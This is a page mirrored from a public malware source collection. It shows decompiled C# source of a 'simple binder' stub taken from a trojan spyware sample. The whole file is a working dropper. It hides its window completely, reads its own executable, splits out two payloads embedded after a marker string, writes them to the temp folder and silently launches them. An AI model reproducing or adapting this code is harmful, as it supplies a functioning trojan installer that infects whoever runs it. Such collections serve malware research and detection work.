mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 21:05:28 +00:00
f2ac1ece55
add
92 lines
3.0 KiB
C#
92 lines
3.0 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: simple_binder_1._0_stub.hodown
|
|
// Assembly: stub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: A37B88BF-02F8-4FB7-BC03-91631BFAC33B
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.Win32.ICQ.vir-87fef7c1570566305d147476c2dff8b4fde24ef2d82fe8fa52df618ba76d7e99.exe
|
|
|
|
using Microsoft.VisualBasic;
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Diagnostics;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using System.Windows.Forms;
|
|
|
|
namespace simple_binder_1._0_stub
|
|
{
|
|
[DesignerGenerated]
|
|
public class hodown : Form
|
|
{
|
|
private IContainer components;
|
|
private string[] joejacksmomma;
|
|
private string ask;
|
|
private const string FileSplit = "@onetwothree@";
|
|
|
|
[DebuggerNonUserCode]
|
|
public hodown()
|
|
{
|
|
this.Load += new EventHandler(this.start);
|
|
this.InitializeComponent();
|
|
}
|
|
|
|
[DebuggerNonUserCode]
|
|
protected override void Dispose(bool disposing)
|
|
{
|
|
try
|
|
{
|
|
if (!disposing || this.components == null)
|
|
return;
|
|
this.components.Dispose();
|
|
}
|
|
finally
|
|
{
|
|
base.Dispose(disposing);
|
|
}
|
|
}
|
|
|
|
[DebuggerStepThrough]
|
|
private void InitializeComponent()
|
|
{
|
|
this.SuspendLayout();
|
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|
this.AutoSizeMode = AutoSizeMode.GrowAndShrink;
|
|
this.ClientSize = new Size(10, 10);
|
|
this.ControlBox = false;
|
|
this.FormBorderStyle = FormBorderStyle.None;
|
|
this.MaximizeBox = false;
|
|
this.MinimizeBox = false;
|
|
this.Name = nameof (hodown);
|
|
this.Opacity = 0.0;
|
|
this.ShowIcon = false;
|
|
this.ShowInTaskbar = false;
|
|
this.TransparencyKey = SystemColors.Control;
|
|
this.WindowState = FormWindowState.Minimized;
|
|
this.ResumeLayout(false);
|
|
}
|
|
|
|
private void start(object sender, EventArgs e)
|
|
{
|
|
string tempPath = Path.GetTempPath();
|
|
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
|
this.ask = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
|
FileSystem.FileGet(1, ref this.ask);
|
|
FileSystem.FileClose(1);
|
|
this.joejacksmomma = Strings.Split(this.ask, "@onetwothree@");
|
|
FileSystem.FileOpen(3, tempPath + this.joejacksmomma[3], OpenMode.Binary, OpenAccess.ReadWrite);
|
|
FileSystem.FilePut(3, this.joejacksmomma[1], -1L, false);
|
|
FileSystem.FileClose(3);
|
|
FileSystem.FileOpen(5, tempPath + this.joejacksmomma[4], OpenMode.Binary, OpenAccess.ReadWrite);
|
|
FileSystem.FilePut(5, this.joejacksmomma[2], -1L, false);
|
|
FileSystem.FileClose(5);
|
|
if (Conversions.ToBoolean(this.joejacksmomma[5]))
|
|
Process.Start(tempPath + this.joejacksmomma[3]);
|
|
if (Conversions.ToBoolean(this.joejacksmomma[6]))
|
|
Process.Start(tempPath + this.joejacksmomma[4]);
|
|
this.Close();
|
|
ProjectData.EndApp();
|
|
}
|
|
}
|
|
}
|